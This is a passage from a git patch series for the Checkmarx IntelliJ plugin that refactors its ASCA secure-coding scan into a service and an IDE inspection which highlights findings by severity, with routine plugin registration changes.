listenForEditorChanges() { project.getMessageBus().connect(this).subscribe(FileEditorManagerListener.FILE_EDITOR_MANAGER, new FileEditorManagerListener() { @Override @@ -134,21 +143,26 @@ public void selectionChanged(@NotNull FileEditorManagerEvent event) { Editor editor = FileEditorManager.getInstance(project).getSelectedTextEditor(); if (editor != null) { Document newDocument = editor.getDocument(); + VirtualFile virtualFile = FileEditorManager.getInstance(project).getSelectedFiles()[0]; // Get the selected file // If a new document is selected, remove the listener from the old document and attach to the new one if (currentDocument != newDocument) { - if (currentDocument != null) { - removeDocumentListener(currentDocument); // Remove listener from old document - } currentDocument = newDocument; - registerDocumentListener(currentDocument); // Add listener to new document + registerDocumentListener(currentDocument, virtualFile); // Add listener to new document } } } }); } - private void registerDocumentListener(Document document) { + /** + * Adds a document listener to the specified document. + * The listener will trigger after 2 seconds of no further changes. + * + * @param document the document to listen to. + * @param virtualFile the virtual file associated with the document. + */ + private void registerDocumentListener(Document document, VirtualFile virtualFile) { document.addDocumentListener(new com.intellij.openapi.editor.event.DocumentListener() { @Override public void documentChanged(@NotNull com.intellij.openapi.editor.event.DocumentEvent event) { @@ -161,7 +175,7 @@ public void documentChanged(@NotNull com.intellij.openapi.editor.event.DocumentE pendingTask = new TimerTask() { @Override public void run() { - runInBackground(); // Run the task in the background + runInBackground(virtualFile); // Run the task in the background, passing the virtual file } }; @@ -171,27 +185,19 @@ public void run() { }); } - /** - * Removes the document listener from the specified document. - * Since IntelliJ IDEA doesn't have a built-in way to remove a listener, you can prevent actions - * for the old document by ignoring it in the logic or use flags if needed. - * - * @param document the document to remove the listener from. - */ - private void removeDocumentListener(Document document) { - // IntelliJ does not provide a direct way to remove listeners from a document, - // but we can ensure only the current document is actively processed. - } - /** * Executes the background task using a SwingWorker. + * + * @param virtualFile the file associated with the current document. */ - private void runInBackground() { + private void runInBackground(VirtualFile virtualFile) { new SwingWorker() { @Override protected Void doInBackground() { - // Perform the task in the background - System.out.println("edited"); + boolean ascaLatestVersion = false; + LOGGER.info("Running ASCA scan in the background for file: " + virtualFile.getPath()); + + ascaService.scanAsca(virtualFile, project, ascaLatestVersion, Constants.JET_BRAINS_AGENT_NAME); return null; } From e4e9008e5c5ce3a9f06732b4d377ed949399e5d4 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Sun, 13 Oct 2024 11:04:45 +0300 Subject: [PATCH 08/38] implement AscaService.java --- .../checkmarx/intellij/ASCA/AscaService.java | 86 +++++++++++-------- .../intellij/inspections/AscaInspection.java | 25 ++++++ .../intellij/inspections/AscaVisitor.java | 33 +++++++ 3 files changed, 110 insertions(+), 34 deletions(-) create mode 100644 src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java create mode 100644 src/main/java/com/checkmarx/intellij/inspections/AscaVisitor.java diff --git a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java index ce6b021e..d16cf4ab 100644 --- a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java +++ b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java @@ -5,13 +5,16 @@ import com.checkmarx.ast.wrapper.CxConfig; import com.checkmarx.ast.wrapper.CxException; import com.checkmarx.intellij.commands.ASCA; +import com.intellij.codeInsight.daemon.DaemonCodeAnalyzer; import com.intellij.codeInspection.*; import com.intellij.openapi.diagnostic.Logger; import com.intellij.openapi.project.Project; import com.intellij.openapi.vfs.VirtualFile; +import com.intellij.psi.PsiDocumentManager; import com.intellij.psi.PsiFile; import com.intellij.psi.PsiManager; import com.intellij.openapi.application.ApplicationManager; +import org.jetbrains.annotations.NotNull; import java.io.File; import java.io.IOException; @@ -36,27 +39,37 @@ public void scanAsca(VirtualFile file, Project project, boolean ascLatestVersion if (ignoreFiles(file)) { return; } - try { - // Save the file temporarily - String filePath = saveTempFile(file.getName(), new String(file.contentsToByteArray())); - // Run the ASCA scan - LOGGER.info("Start ASCA scan on file: " + file.getPath()); - ScanResult scanAscaResult = ASCA.scanAsca(filePath, ascLatestVersion, agent); - // Delete the temporary file - deleteFile(filePath); - LOGGER.info("File " + filePath + " deleted."); - // Handle errors if any - if (scanAscaResult.getError()!= null) { - LOGGER.warn("ASCA Warning: " + (Objects.nonNull(scanAscaResult.getError().getDescription()) ? - scanAscaResult.getError().getDescription() : scanAscaResult.getError())); - return; + + ApplicationManager.getApplication().executeOnPooledThread(() -> { + try { + // Save the file temporarily + String filePath = saveTempFile(file.getName(), new String(file.contentsToByteArray())); + + // Run the ASCA scan + LOGGER.info("Start ASCA scan on file: " + file.getPath()); + ScanResult scanAscaResult = ASCA.scanAsca(filePath, ascLatestVersion, agent); + + // Delete the temporary file + deleteFile(filePath); + LOGGER.info("File " + filePath + " deleted."); + + // Handle errors if any + if (scanAscaResult.getError() != null) { + LOGGER.warn("ASCA Warning: " + (Objects.nonNull(scanAscaResult.getError().getDescription()) ? + scanAscaResult.getError().getDescription() : scanAscaResult.getError())); + return; + } + + // Log the results + LOGGER.info(scanAscaResult.getScanDetails().size() + " security best practice violations were found in " + file.getPath()); + + // Update problems on the UI thread + ApplicationManager.getApplication().invokeLater(() -> updateProblems(scanAscaResult, file, project)); + + } catch (IOException | CxConfig.InvalidCLIConfigException | URISyntaxException | CxException | InterruptedException e) { + LOGGER.error("Error during ASCA scan.", e); } - // Log the results - LOGGER.info(scanAscaResult.getScanDetails().size() + " security best practice violations were found in " + file.getPath()); - updateProblems(scanAscaResult, file, project); - } catch (IOException | CxConfig.InvalidCLIConfigException | URISyntaxException | CxException | InterruptedException e) { - LOGGER.error("Error during ASCA scan."); - } + }); } private boolean ignoreFiles(VirtualFile file) { @@ -65,12 +78,24 @@ private boolean ignoreFiles(VirtualFile file) { } private void updateProblems(ScanResult scanAscaResult, VirtualFile file, Project project) { - PsiFile psiFile = PsiManager.getInstance(project).findFile(file); - if (psiFile == null) { - return; - } + ApplicationManager.getApplication().invokeLater(() -> { + PsiFile psiFile = PsiManager.getInstance(project).findFile(file); + if (psiFile == null) { + return; + } + + InspectionManager inspectionManager = InspectionManager.getInstance(project); + List problemDescriptors = getProblemDescriptors(scanAscaResult, inspectionManager, psiFile); + + if (!problemDescriptors.isEmpty()) { + // Register or apply the problem descriptors with the inspection tool or problem view + LOGGER.info(problemDescriptors.size() + " problems added to the file."); + PsiDocumentManager.getInstance(project).commitAllDocuments(); + } + }); + } - InspectionManager inspectionManager = InspectionManager.getInstance(project); + private static @NotNull List getProblemDescriptors(ScanResult scanAscaResult, InspectionManager inspectionManager, PsiFile psiFile) { List problemDescriptors = new ArrayList<>(); for (ScanDetail res : scanAscaResult.getScanDetails()) { @@ -79,17 +104,10 @@ private void updateProblems(ScanResult scanAscaResult, VirtualFile file, Project psiFile, description, true, ProblemHighlightType.GENERIC_ERROR_OR_WARNING, true); problemDescriptors.add(problemDescriptor); } - - // Apply the problems to the PSI file in the UI thread - ApplicationManager.getApplication().invokeLater(() -> { - if (!problemDescriptors.isEmpty()) { - // This is where you'd add the problem descriptors to the IDE's problem view or a custom inspection tool - // For instance, you could implement an inspection that registers the problems with IntelliJ's inspection framework - LOGGER.info(problemDescriptors.size() + " problems added to the file."); - } - }); + return problemDescriptors; } + private String saveTempFile(String fileName, String content) { try { Path tempDir = Paths.get(System.getProperty("java.io.tmpdir"), ASCA_DIR); diff --git a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java new file mode 100644 index 00000000..e85d9877 --- /dev/null +++ b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java @@ -0,0 +1,25 @@ +package com.checkmarx.intellij.inspections; + +import com.checkmarx.intellij.ASCA.AscaService; +import com.intellij.codeInspection.LocalInspectionTool; +import com.intellij.codeInspection.ProblemsHolder; +import com.intellij.openapi.project.Project; +import com.intellij.psi.PsiElementVisitor; +import com.intellij.psi.PsiFile; +import org.jetbrains.annotations.NotNull; + +public class AscaInspection extends LocalInspectionTool { + + private final AscaService ascaService = new AscaService(); + + @NotNull + @Override + public PsiElementVisitor buildVisitor(@NotNull ProblemsHolder holder, boolean isOnTheFly) { + return new AscaVisitor(holder, ascaService); + } + + @Override + public boolean runForWholeFile() { + return true; // Indicate this inspection checks the entire file, not just specific elements + } +} diff --git a/src/main/java/com/checkmarx/intellij/inspections/AscaVisitor.java b/src/main/java/com/checkmarx/intellij/inspections/AscaVisitor.java new file mode 100644 index 00000000..81233116 --- /dev/null +++ b/src/main/java/com/checkmarx/intellij/inspections/AscaVisitor.java @@ -0,0 +1,33 @@ +package com.checkmarx.intellij.inspections; + +import com.checkmarx.intellij.ASCA.AscaService; +import com.intellij.codeInspection.ProblemsHolder; +import com.intellij.openapi.project.Project; +import com.intellij.psi.PsiElementVisitor; +import com.intellij.psi.PsiFile; +import com.intellij.psi.PsiRecursiveElementVisitor; +import com.intellij.openapi.vfs.VirtualFile; +import org.jetbrains.annotations.NotNull; + +public class AscaVisitor extends PsiElementVisitor { + + private final ProblemsHolder holder; + private final AscaService ascaService; + + public AscaVisitor(ProblemsHolder holder, AscaService ascaService) { + this.holder = holder; + this.ascaService = ascaService; + } + + @Override + public void visitFile(@NotNull PsiFile file) { + super.visitFile(file); + + Project project = file.getProject(); + VirtualFile virtualFile = file.getVirtualFile(); + String agent = "default-agent"; // Set the agent parameter for the scan + + // Call AscaService to scan the file + ascaService.scanAsca(virtualFile, project, true, agent); + } +} From 02495002baad3994543a558c493eb0718ccdedc4 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Mon, 14 Oct 2024 10:48:37 +0300 Subject: [PATCH 09/38] implement Asca inspections --- build.gradle | 2 +- .../checkmarx/intellij/ASCA/AscaService.java | 139 +++++++----------- .../intellij/inspections/AscaInspection.java | 93 ++++++++++-- .../intellij/inspections/AscaVisitor.java | 33 ----- .../listeners/AscaFileEditorListener.java | 85 +++++++++++ .../global/GlobalSettingsComponent.java | 1 - .../tool/window/CxToolWindowPanel.java | 90 ------------ src/main/resources/META-INF/plugin.xml | 8 + .../inspectionDescriptions/Asca.html | 9 ++ 9 files changed, 238 insertions(+), 222 deletions(-) delete mode 100644 src/main/java/com/checkmarx/intellij/inspections/AscaVisitor.java create mode 100644 src/main/java/com/checkmarx/intellij/listeners/AscaFileEditorListener.java create mode 100644 src/main/resources/inspectionDescriptions/Asca.html diff --git a/build.gradle b/build.gradle index e4921360..006ec8a8 100644 --- a/build.gradle +++ b/build.gradle @@ -1,6 +1,6 @@ plugins { id 'io.freefair.lombok' version '8.6' - id 'org.jetbrains.intellij' version '1.17.3' + id 'org.jetbrains.intellij' version '1.17.4' id 'java' } diff --git a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java index d16cf4ab..481331f9 100644 --- a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java +++ b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java @@ -1,20 +1,13 @@ package com.checkmarx.intellij.ASCA; -import com.checkmarx.ast.asca.ScanDetail; import com.checkmarx.ast.asca.ScanResult; import com.checkmarx.ast.wrapper.CxConfig; import com.checkmarx.ast.wrapper.CxException; import com.checkmarx.intellij.commands.ASCA; -import com.intellij.codeInsight.daemon.DaemonCodeAnalyzer; -import com.intellij.codeInspection.*; import com.intellij.openapi.diagnostic.Logger; import com.intellij.openapi.project.Project; import com.intellij.openapi.vfs.VirtualFile; -import com.intellij.psi.PsiDocumentManager; -import com.intellij.psi.PsiFile; -import com.intellij.psi.PsiManager; -import com.intellij.openapi.application.ApplicationManager; -import org.jetbrains.annotations.NotNull; +import org.jetbrains.annotations.Nullable; import java.io.File; import java.io.IOException; @@ -22,9 +15,6 @@ import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; -import java.util.ArrayList; -import java.util.List; -import java.util.Objects; public class AscaService { @@ -35,41 +25,49 @@ public AscaService() { // Default constructor } - public void scanAsca(VirtualFile file, Project project, boolean ascLatestVersion, String agent) { + /** + * Runs the ASCA scan on the provided file and returns the ScanResult. + * + * @param file the file to scan. + * @param project the IntelliJ project context. + * @param ascLatestVersion whether to use the latest version of the ASCA agent. + * @param agent the agent name to use. + * @return the result of the ASCA scan, or null if the scan failed. + */ + @Nullable + public ScanResult runAscaScan(VirtualFile file, Project project, boolean ascLatestVersion, String agent) { if (ignoreFiles(file)) { - return; + return null; } - ApplicationManager.getApplication().executeOnPooledThread(() -> { - try { - // Save the file temporarily - String filePath = saveTempFile(file.getName(), new String(file.contentsToByteArray())); - - // Run the ASCA scan - LOGGER.info("Start ASCA scan on file: " + file.getPath()); - ScanResult scanAscaResult = ASCA.scanAsca(filePath, ascLatestVersion, agent); - - // Delete the temporary file - deleteFile(filePath); - LOGGER.info("File " + filePath + " deleted."); - - // Handle errors if any - if (scanAscaResult.getError() != null) { - LOGGER.warn("ASCA Warning: " + (Objects.nonNull(scanAscaResult.getError().getDescription()) ? - scanAscaResult.getError().getDescription() : scanAscaResult.getError())); - return; - } - - // Log the results - LOGGER.info(scanAscaResult.getScanDetails().size() + " security best practice violations were found in " + file.getPath()); - - // Update problems on the UI thread - ApplicationManager.getApplication().invokeLater(() -> updateProblems(scanAscaResult, file, project)); - - } catch (IOException | CxConfig.InvalidCLIConfigException | URISyntaxException | CxException | InterruptedException e) { - LOGGER.error("Error during ASCA scan.", e); + try { + // Save the file temporarily + String filePath = saveTempFile(file.getName(), new String(file.contentsToByteArray())); + + // Run the ASCA scan + LOGGER.info("Start ASCA scan on file: " + file.getPath()); + ScanResult scanResult = ASCA.scanAsca(filePath, ascLatestVersion, agent); + + // Delete the temporary file + deleteFile(filePath); + LOGGER.info("File " + filePath + " deleted."); + + // Handle errors if any + if (scanResult.getError() != null) { + LOGGER.warn("ASCA Warning: " + (scanResult.getError().getDescription() != null ? + scanResult.getError().getDescription() : scanResult.getError())); + return null; } - }); + if (scanResult.getScanDetails() == null) { + LOGGER.info("No security best practice violations found in " + file.getPath()); + return scanResult; + } else LOGGER.info(scanResult.getScanDetails().size() + " security best practice violations found in " + file.getPath()); + return scanResult; + + } catch (IOException | CxConfig.InvalidCLIConfigException | URISyntaxException | CxException | InterruptedException e) { + LOGGER.error("Error during ASCA scan.", e); + return null; + } } private boolean ignoreFiles(VirtualFile file) { @@ -77,37 +75,6 @@ private boolean ignoreFiles(VirtualFile file) { return !file.isInLocalFileSystem(); } - private void updateProblems(ScanResult scanAscaResult, VirtualFile file, Project project) { - ApplicationManager.getApplication().invokeLater(() -> { - PsiFile psiFile = PsiManager.getInstance(project).findFile(file); - if (psiFile == null) { - return; - } - - InspectionManager inspectionManager = InspectionManager.getInstance(project); - List problemDescriptors = getProblemDescriptors(scanAscaResult, inspectionManager, psiFile); - - if (!problemDescriptors.isEmpty()) { - // Register or apply the problem descriptors with the inspection tool or problem view - LOGGER.info(problemDescriptors.size() + " problems added to the file."); - PsiDocumentManager.getInstance(project).commitAllDocuments(); - } - }); - } - - private static @NotNull List getProblemDescriptors(ScanResult scanAscaResult, InspectionManager inspectionManager, PsiFile psiFile) { - List problemDescriptors = new ArrayList<>(); - - for (ScanDetail res : scanAscaResult.getScanDetails()) { - String description = res.getRuleName() + " - " + res.getRemediationAdvise(); - ProblemDescriptor problemDescriptor = inspectionManager.createProblemDescriptor( - psiFile, description, true, ProblemHighlightType.GENERIC_ERROR_OR_WARNING, true); - problemDescriptors.add(problemDescriptor); - } - return problemDescriptors; - } - - private String saveTempFile(String fileName, String content) { try { Path tempDir = Paths.get(System.getProperty("java.io.tmpdir"), ASCA_DIR); @@ -122,27 +89,29 @@ private String saveTempFile(String fileName, String content) { } } - public void installAsca() { + private void deleteFile(String filePath) { try { - ScanResult res = ASCA.installAsca(); - if (res.getError()!= null) { - String errorMessage = "ASCA Installation Error: " + res.getError().getDescription(); - LOGGER.error(errorMessage); + File file = new File(filePath); + if (file.exists()) { + file.delete(); } } catch (Exception e) { - LOGGER.error(e); - LOGGER.warn("Error during ASCA installation."); + LOGGER.error("Failed to delete file", e); } } - private void deleteFile(String filePath) { + /** + * Installs the ASCA CLI if not already installed. + */ + public void installAsca() { try { - File file = new File(filePath); - if (file.exists()) { - file.delete(); + ScanResult res = ASCA.installAsca(); + if (res.getError() != null) { + String errorMessage = "ASCA Installation Error: " + res.getError().getDescription(); + LOGGER.error(errorMessage); } } catch (Exception e) { - LOGGER.error("Failed to delete file", e); + LOGGER.error("Error during ASCA installation.", e); } } } diff --git a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java index e85d9877..24710561 100644 --- a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java +++ b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java @@ -1,25 +1,94 @@ package com.checkmarx.intellij.inspections; +import com.checkmarx.ast.asca.ScanDetail; +import com.checkmarx.ast.asca.ScanResult; import com.checkmarx.intellij.ASCA.AscaService; -import com.intellij.codeInspection.LocalInspectionTool; -import com.intellij.codeInspection.ProblemsHolder; +import com.checkmarx.intellij.Constants; +import com.intellij.codeInspection.*; +import com.intellij.openapi.editor.Document; import com.intellij.openapi.project.Project; -import com.intellij.psi.PsiElementVisitor; -import com.intellij.psi.PsiFile; +import com.intellij.openapi.util.TextRange; +import com.intellij.psi.*; import org.jetbrains.annotations.NotNull; -public class AscaInspection extends LocalInspectionTool { +import java.util.ArrayList; +import java.util.List; - private final AscaService ascaService = new AscaService(); +public class AscaInspection extends LocalInspectionTool { - @NotNull @Override - public PsiElementVisitor buildVisitor(@NotNull ProblemsHolder holder, boolean isOnTheFly) { - return new AscaVisitor(holder, ascaService); + public ProblemDescriptor @NotNull [] checkFile(@NotNull PsiFile file, @NotNull InspectionManager manager, boolean isOnTheFly) { + // Perform the ASCA scan and retrieve the results + ScanResult scanResult = performAscaScan(file); + + if (scanResult != null && scanResult.getScanDetails()!=null) { + List problems = new ArrayList<>(); + Project project = file.getProject(); + Document document = PsiDocumentManager.getInstance(project).getDocument(file); + + if (document == null) { + return ProblemDescriptor.EMPTY_ARRAY; + } + + for (ScanDetail detail : scanResult.getScanDetails()) { + int lineNumber = detail.getLine(); // Assuming getLineNumber() exists + + if (lineNumber > 0 && lineNumber <= document.getLineCount()) { + int startOffset = document.getLineStartOffset(lineNumber - 1); // Convert line number to start offset + int endOffset = document.getLineEndOffset(lineNumber - 1); // Calculate end offset as the end of the line + + // Find the PsiElement at the start offset + PsiElement elementAtLine = file.findElementAt(startOffset); + + if (elementAtLine != null) { + // You can further refine the end offset based on the element or the problem details + endOffset = Math.min(endOffset, document.getTextLength()); // Ensure endOffset is within the document length + + // Create a custom TextRange for highlighting a specific portion of the document + TextRange problemRange = new TextRange(startOffset, endOffset); + + String description = detail.getRuleName() + " - " + detail.getRemediationAdvise(); + ProblemHighlightType highlightType = determineHighlightType(detail); + + + ProblemDescriptor problem = manager.createProblemDescriptor( + file, // The file where the problem occurs + problemRange, // The custom range of the problem + description, // The issue description + highlightType, // Highlight type + isOnTheFly, // Whether it is on-the-fly inspection + (LocalQuickFix) null // Optional quick fix + ); + problems.add(problem); + } + } + } + + return problems.toArray(ProblemDescriptor[]::new); + } + + return ProblemDescriptor.EMPTY_ARRAY; } - @Override - public boolean runForWholeFile() { - return true; // Indicate this inspection checks the entire file, not just specific elements + private ProblemHighlightType determineHighlightType(ScanDetail detail) { + // Example logic: adjust based on severity level in ScanDetail + String severity = detail.getSeverity(); + + switch (severity) { + case "Critical": + return ProblemHighlightType.GENERIC_ERROR; + case "High": + return ProblemHighlightType.GENERIC_ERROR; // Error for high-severity issues + case "Medium": + return ProblemHighlightType.WARNING; // Warning for medium severity + case "Low": + default: + return ProblemHighlightType.INFORMATION; // Weak warning for low severity or unknown severity + } + } + + private ScanResult performAscaScan(PsiFile file) { + // Perform the ASCA scan here using the AscaService + return new AscaService().runAscaScan(file.getVirtualFile(), file.getProject(), false, Constants.JET_BRAINS_AGENT_NAME); } } diff --git a/src/main/java/com/checkmarx/intellij/inspections/AscaVisitor.java b/src/main/java/com/checkmarx/intellij/inspections/AscaVisitor.java deleted file mode 100644 index 81233116..00000000 --- a/src/main/java/com/checkmarx/intellij/inspections/AscaVisitor.java +++ /dev/null @@ -1,33 +0,0 @@ -package com.checkmarx.intellij.inspections; - -import com.checkmarx.intellij.ASCA.AscaService; -import com.intellij.codeInspection.ProblemsHolder; -import com.intellij.openapi.project.Project; -import com.intellij.psi.PsiElementVisitor; -import com.intellij.psi.PsiFile; -import com.intellij.psi.PsiRecursiveElementVisitor; -import com.intellij.openapi.vfs.VirtualFile; -import org.jetbrains.annotations.NotNull; - -public class AscaVisitor extends PsiElementVisitor { - - private final ProblemsHolder holder; - private final AscaService ascaService; - - public AscaVisitor(ProblemsHolder holder, AscaService ascaService) { - this.holder = holder; - this.ascaService = ascaService; - } - - @Override - public void visitFile(@NotNull PsiFile file) { - super.visitFile(file); - - Project project = file.getProject(); - VirtualFile virtualFile = file.getVirtualFile(); - String agent = "default-agent"; // Set the agent parameter for the scan - - // Call AscaService to scan the file - ascaService.scanAsca(virtualFile, project, true, agent); - } -} diff --git a/src/main/java/com/checkmarx/intellij/listeners/AscaFileEditorListener.java b/src/main/java/com/checkmarx/intellij/listeners/AscaFileEditorListener.java new file mode 100644 index 00000000..0b8580fb --- /dev/null +++ b/src/main/java/com/checkmarx/intellij/listeners/AscaFileEditorListener.java @@ -0,0 +1,85 @@ +package com.checkmarx.intellij.listeners; + +import com.checkmarx.intellij.Utils; +import com.checkmarx.intellij.settings.global.GlobalSettingsComponent; +import com.checkmarx.intellij.settings.global.GlobalSettingsState; +import com.intellij.codeInsight.daemon.DaemonCodeAnalyzer; +import com.intellij.openapi.application.ApplicationManager; +import com.intellij.openapi.diagnostic.Logger; +import com.intellij.openapi.editor.Document; +import com.intellij.openapi.editor.Editor; +import com.intellij.openapi.fileEditor.FileEditorManager; +import com.intellij.openapi.fileEditor.FileEditorManagerEvent; +import com.intellij.openapi.fileEditor.FileEditorManagerListener; +import com.intellij.openapi.project.Project; +import com.intellij.openapi.vfs.VirtualFile; +import com.intellij.psi.PsiFile; +import com.intellij.psi.PsiManager; +import org.jetbrains.annotations.NotNull; + +import java.util.Timer; +import java.util.TimerTask; + +public class AscaFileEditorListener implements FileEditorManagerListener { + + private static final Logger LOGGER = Utils.getLogger(AscaFileEditorListener.class); + private Document currentDocument; + private final Timer timer = new Timer(); + private TimerTask pendingTask; + + @Override + public void selectionChanged(@NotNull FileEditorManagerEvent event) { + GlobalSettingsState globalSettings = GlobalSettingsState.getInstance(); + if (!globalSettings.isAsca()) { + return; + } + Project project = event.getManager().getProject(); + Editor editor = FileEditorManager.getInstance(project).getSelectedTextEditor(); + + if (editor != null) { + Document document = editor.getDocument(); + VirtualFile virtualFile = FileEditorManager.getInstance(project).getSelectedFiles()[0]; + + // Reset the listener if the document changes + if (currentDocument != document) { + currentDocument = document; + registerDocumentListener(document, virtualFile, project); + } + } + } + + private void registerDocumentListener(Document document, VirtualFile virtualFile, Project project) { + document.addDocumentListener(new com.intellij.openapi.editor.event.DocumentListener() { + @Override + public void documentChanged(@NotNull com.intellij.openapi.editor.event.DocumentEvent event) { + if (pendingTask != null) { + pendingTask.cancel(); + } + + pendingTask = new TimerTask() { + @Override + public void run() { + triggerInspection(virtualFile, project); + } + }; + + timer.schedule(pendingTask, 2000); + } + }); + } + + private void triggerInspection(VirtualFile virtualFile, Project project) { + // Ensure the PSI file access is done inside a read action + ApplicationManager.getApplication().runReadAction(() -> { + PsiFile psiFile = PsiManager.getInstance(project).findFile(virtualFile); + + if (psiFile != null) { + LOGGER.info("Triggering ASCA inspection for file: " + virtualFile.getPath()); + + // Trigger the inspection by restarting the DaemonCodeAnalyzer for the file + //DaemonCodeAnalyzer.getInstance(project).restart(psiFile); + } + }); + } + +} diff --git a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java index f751df19..72c6f962 100644 --- a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java +++ b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java @@ -26,7 +26,6 @@ import javax.swing.*; import java.awt.*; import java.awt.event.ItemEvent; -import java.awt.event.ItemListener; import java.io.IOException; import java.net.URISyntaxException; import java.util.Objects; diff --git a/src/main/java/com/checkmarx/intellij/tool/window/CxToolWindowPanel.java b/src/main/java/com/checkmarx/intellij/tool/window/CxToolWindowPanel.java index e7e64524..e4465b2b 100644 --- a/src/main/java/com/checkmarx/intellij/tool/window/CxToolWindowPanel.java +++ b/src/main/java/com/checkmarx/intellij/tool/window/CxToolWindowPanel.java @@ -23,16 +23,10 @@ import com.intellij.openapi.actionSystem.ActionToolbar; import com.intellij.openapi.application.ApplicationManager; import com.intellij.openapi.diagnostic.Logger; -import com.intellij.openapi.editor.Document; -import com.intellij.openapi.editor.Editor; -import com.intellij.openapi.fileEditor.FileEditorManager; -import com.intellij.openapi.fileEditor.FileEditorManagerEvent; -import com.intellij.openapi.fileEditor.FileEditorManagerListener; import com.intellij.openapi.options.ShowSettingsUtil; import com.intellij.openapi.project.Project; import com.intellij.openapi.ui.SimpleToolWindowPanel; import com.intellij.openapi.ui.Splitter; -import com.intellij.openapi.vfs.VirtualFile; import com.intellij.ui.OnePixelSplitter; import com.intellij.ui.SearchTextField; import com.intellij.ui.components.JBLabel; @@ -56,7 +50,6 @@ import java.awt.event.KeyListener; import java.util.*; import java.util.List; -import java.util.Timer; import java.util.concurrent.CompletableFuture; import java.util.regex.Pattern; @@ -99,17 +92,10 @@ public class CxToolWindowPanel extends SimpleToolWindowPanel implements Disposab // service for indexing current results private final ProjectResultsService projectResultsService; - private Document currentDocument; - private Timer timer = new Timer(); - private TimerTask pendingTask; - private final AscaService ascaService; - - public CxToolWindowPanel(@NotNull Project project) { super(false, true); this.project = project; - this.ascaService = new AscaService(); // Initialize the AscaService this.projectResultsService = project.getService(ProjectResultsService.class); Runnable r = () -> { @@ -128,85 +114,9 @@ public CxToolWindowPanel(@NotNull Project project) { ApplicationManager.getApplication().getMessageBus().connect(this) .subscribe(FilterBaseAction.FILTER_CHANGED, this::changeFilter); - listenForEditorChanges(); // Add listener for active editor changes r.run(); } - /** - * Listens for changes in the active editor and sets a document listener - * on the document of the currently active editor. - */ - private void listenForEditorChanges() { - project.getMessageBus().connect(this).subscribe(FileEditorManagerListener.FILE_EDITOR_MANAGER, new FileEditorManagerListener() { - @Override - public void selectionChanged(@NotNull FileEditorManagerEvent event) { - Editor editor = FileEditorManager.getInstance(project).getSelectedTextEditor(); - if (editor != null) { - Document newDocument = editor.getDocument(); - VirtualFile virtualFile = FileEditorManager.getInstance(project).getSelectedFiles()[0]; // Get the selected file - - // If a new document is selected, remove the listener from the old document and attach to the new one - if (currentDocument != newDocument) { - currentDocument = newDocument; - registerDocumentListener(currentDocument, virtualFile); // Add listener to new document - } - } - } - }); - } - - /** - * Adds a document listener to the specified document. - * The listener will trigger after 2 seconds of no further changes. - * - * @param document the document to listen to. - * @param virtualFile the virtual file associated with the document. - */ - private void registerDocumentListener(Document document, VirtualFile virtualFile) { - document.addDocumentListener(new com.intellij.openapi.editor.event.DocumentListener() { - @Override - public void documentChanged(@NotNull com.intellij.openapi.editor.event.DocumentEvent event) { - // Cancel any previous timer task - if (pendingTask != null) { - pendingTask.cancel(); - } - - // Create a new TimerTask to execute after 2 seconds of no further edits - pendingTask = new TimerTask() { - @Override - public void run() { - runInBackground(virtualFile); // Run the task in the background, passing the virtual file - } - }; - - // Schedule the task to run after 2 seconds (2000 ms) - timer.schedule(pendingTask, 2000); - } - }); - } - - /** - * Executes the background task using a SwingWorker. - * - * @param virtualFile the file associated with the current document. - */ - private void runInBackground(VirtualFile virtualFile) { - new SwingWorker() { - @Override - protected Void doInBackground() { - boolean ascaLatestVersion = false; - LOGGER.info("Running ASCA scan in the background for file: " + virtualFile.getPath()); - - ascaService.scanAsca(virtualFile, project, ascaLatestVersion, Constants.JET_BRAINS_AGENT_NAME); - return null; - } - - @Override - protected void done() { - // Optional: You can update the UI here if needed once the background task is complete. - } - }.execute(); - } /** * Creates the main panel UI for results. diff --git a/src/main/resources/META-INF/plugin.xml b/src/main/resources/META-INF/plugin.xml index 812ba315..e3f82f1e 100644 --- a/src/main/resources/META-INF/plugin.xml +++ b/src/main/resources/META-INF/plugin.xml @@ -36,11 +36,19 @@ enabledByDefault="true" level="WARNING" implementationClass="com.checkmarx.intellij.inspections.CxInspection"/> + + diff --git a/src/main/resources/inspectionDescriptions/Asca.html b/src/main/resources/inspectionDescriptions/Asca.html new file mode 100644 index 00000000..2d2a3c1b --- /dev/null +++ b/src/main/resources/inspectionDescriptions/Asca.html @@ -0,0 +1,9 @@ + + +Highlights results from Checkmarx AI Secure Coding Assistant. + + + + + + From 518148d4ab4f65ff76208c3b0716870b1b7a3f10 Mon Sep 17 00:00:00 2001 From: AlvoBen Date: Mon, 14 Oct 2024 10:54:49 +0300 Subject: [PATCH 10/38] delete editor listener --- .../listeners/AscaFileEditorListener.java | 85 ------------------- src/main/resources/META-INF/plugin.xml | 2 - 2 files changed, 87 deletions(-) delete mode 100644 src/main/java/com/checkmarx/intellij/listeners/AscaFileEditorListener.java diff --git a/src/main/java/com/checkmarx/intellij/listeners/AscaFileEditorListener.java b/src/main/java/com/checkmarx/intellij/listeners/AscaFileEditorListener.java deleted file mode 100644 index 0b8580fb..00000000 --- a/src/main/java/com/checkmarx/intellij/listeners/AscaFileEditorListener.java +++ /dev/null @@ -1,85 +0,0 @@ -package com.checkmarx.intellij.listeners; - -import com.checkmarx.intellij.Utils; -import 